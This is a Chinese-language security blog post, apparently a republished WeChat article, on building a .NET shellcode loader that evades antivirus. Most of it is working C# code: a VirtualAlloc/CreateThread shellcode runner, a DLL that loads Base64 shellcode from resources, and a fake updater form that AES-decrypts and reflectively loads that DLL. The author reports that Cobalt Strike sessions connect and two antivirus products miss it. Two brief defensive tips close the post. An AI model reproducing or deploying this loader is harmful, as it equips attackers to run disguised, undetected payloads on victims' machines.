STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
传统C#加载Shellcode
using
System;
using
System.Collections.Generic;
using
System.Linq;
using
System.Runtime.InteropServices;
using
System.Text;
namespace
TestShellCode
{
internal
class
Program
{
static
void
Main
(
string
[] args
)
{
byte
[] shellcode = {shellcode};
UInt32 funcAddr = VirtualAlloc(
0
, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode,
0
, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId =
0
;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(
0
,
0
, funcAddr, pinfo,
0
,
ref
threadId);
WaitForSingleObject(hThread,
0xFFFFFFFF
);
}
private
static
UInt32 MEM_COMMIT =
0x1000
;
private
static
UInt32 PAGE_EXECUTE_READWRITE =
0x40
;
[
]
private
static
extern
UInt32
VirtualAlloc
(
UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect
);
[
]
private
static
extern
bool
VirtualFree
(
IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType
);
[
]
private
static
extern
IntPtr
CreateThread
(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref
UInt32 lpThreadId
)
;
[
]
private
static
extern
bool
CloseHandle
(
IntPtr handle
)
;
[
]
private
static
extern
UInt32
WaitForSingleObject
(
IntPtr hHandle,
UInt32 dwMilliseconds
)
;
[
]
private
static
extern
IntPtr
GetModuleHandle
(
string
moduleName
)
;
[
]
private
static
extern
UInt32
GetProcAddress
(
IntPtr hModule,
string
procName
)
;
[
]
private
static
extern
UInt32
LoadLibrary
(
string
lpFileName
)
;
[
]
private
static
extern
UInt32
GetLastError
(
)
;
}
}
这里我们shellcode生成的32位的,所以.net编译也选择编译生成x86的exe,编译完成,可以cs正常上线。
杀毒测试,两款杀毒软件都报毒。
免杀思路
1、 简单免杀
将shellcode采用aes、base64等方式进行加密。
2、 分离shell
将shellcode进行aes、base64等方式编码和加密后在存放到资源文件中,程序运行后从资源文件中加载shellcode。
3、 分离shellcode加载器
将shellcode进行aes、base64等方式编码和加密后在存放到资源文件中,程序运行后从资源文件中加载shellcode,同时将此功能封装为dll程序。
4、 采取类似冰蝎动态Assembly加载方式加载dll程序
免杀操作
1、 创建shellcode加载器,生成dll。
首先将shell进行Base64编码存放在资源文件config.txt文件中。注意此资源文件可放在外部exe加载器中(namespace需要一致)。
using
System;
using
System.Collections.Generic;
using
System.Linq;
using
System.Reflection;
using
System.Resources;
using
System.Runtime.InteropServices;
using
System.Text;
using
System.Threading;
namespace
bypass360
{
public
class
Loader
{
public
override
bool
Equals
(
object
obj
)
{
Thread t =
new
Thread(test);
t.Start();
return
true
;
}
public
void
test
(
)
{
Assembly myAssem = Assembly.GetEntryAssembly();
ResourceManager rm =
new
ResourceManager(
"bypass360.Properties.Resources"
, myAssem);
//资源文件中读取shellcode加载
string
config = rm.GetString(
"config32"
);
byte
[] shellcode = Convert.FromBase64String(config);
UInt32 funcAddr = VirtualAlloc(
0
, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode,
0
, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId =
0
;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(
0
,
0
, funcAddr, pinfo,
0
,
ref
threadId);
WaitForSingleObject(hThread,
0xFFFFFFFF
);
}
private
static
UInt32 MEM_COMMIT =
0x1000
;
private
static
UInt32 PAGE_EXECUTE_READWRITE =
0x40
;
[
]
private
static
extern
UInt32
VirtualAlloc
(
UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect
);
[
]
private
static
extern
bool
VirtualFree
(
IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType
);
[
]
private
static
extern
IntPtr
CreateThread
(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref
UInt32 lpThreadId
)
;
[
]
private
static
extern
bool
CloseHandle
(
IntPtr handle
)
;
[
]
private
static
extern
UInt32
WaitForSingleObject
(
IntPtr hHandle,
UInt32 dwMilliseconds
)
;
[
]
private
static
extern
IntPtr
GetModuleHandle
(
string
moduleName
)
;
[
]
private
static
extern
UInt32
GetProcAddress
(
IntPtr hModule,
string
procName
)
;
[
]
private
static
extern
UInt32
LoadLibrary
(
string
lpFileName
)
;
[
]
private
static
extern
UInt32
GetLastError
(
)
;
}
}
编译完成shellcode加载器,一个已经过了,另一个还是报毒。
继续分离动态加载,将Loader加载器aes加密生成Base64编码的文件,存放在资源文件中。
创建一个外部加载器,这里我模拟的是一个更新程序,创建了一个winform项目,一个进度条自动加载几秒后隐藏窗体,同时后台冰蝎动态Assembly加
载方式从资源文件中加载加密好的Loader的dll程序,并实例化对应的加载器类,调用Equals加载shellcode。
using
System;
using
System.Windows.Forms;
using
System.Runtime.InteropServices;
using
System.Resources;
using
System.Reflection;
using
System.Threading;
using
System.IO;
using
System.Security.Cryptography;
using
System.Text;
namespace
bypass360
{
public
partial
class
Form1
:
Form
{
public
Form1
(
)
{
InitializeComponent();
}
private
void
Form1_Shown
(
object
sender, EventArgs e
)
{
this
.timer1.Start();
test();
}
public
void
test
(
)
{
//从资源文件中读取加密shellcode Loader,加载shellcode
Assembly myAssem = Assembly.GetEntryAssembly();
ResourceManager rm =
new
ResourceManager(
"bypass360.Properties.Resources"
, myAssem);
string
config = rm.GetString(
"dll32"
);
//Base64解码
byte
[] data = Convert.FromBase64String(config);
//Aes解密还原程序集
byte
[] key = Encoding.Default.GetBytes(
"1234567887654321"
);
byte
[] cdata =
new
RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(data,
0
, data.Length);
//Assembly动态加载程序集并实例化加载器调用Equals方法执行Shellcode
Assembly assembly =
typeof
(Environment).Assembly;
Assembly.Load(cdata).CreateInstance(
"bypass360.Loader"
).Equals(
""
);
}
private
void
button1_Click
(
object
sender, EventArgs e
)
{
this
.Hide();
}
int
p =
0
;
private
void
timer1_Tick
(
object
sender, EventArgs e
)
{
p++;
if
(p >=
3
) {
this
.Hide();
}
}
}
}
由于这里shellcode是32位所以Loader dll和当前的exe加载器我们都编译成x86,32位程序,如果是64位shellcode就全编译为64位程序。
编译后测试,两款杀毒软件均未检出。
运行测试,成功上线,无拦截:
不完美的事,就是在webshell下面执行时,360主动防护对于后台进程执行程序管理较为严格,只能采取其他措施在webshell下运行了。
防御方式
1、建议杀毒软件更新检测机制,对关键函数执行加强检测。
2、对于用户来说,不能抱着部署了杀软软件就“万无一失”的心态开展防护工作,还是要通过APT、WAF、日志分析等其他综合手段开展防护工作
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们
原文始发于微信公众号(雷神众测):.NET简单分离免杀加载Shellcode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论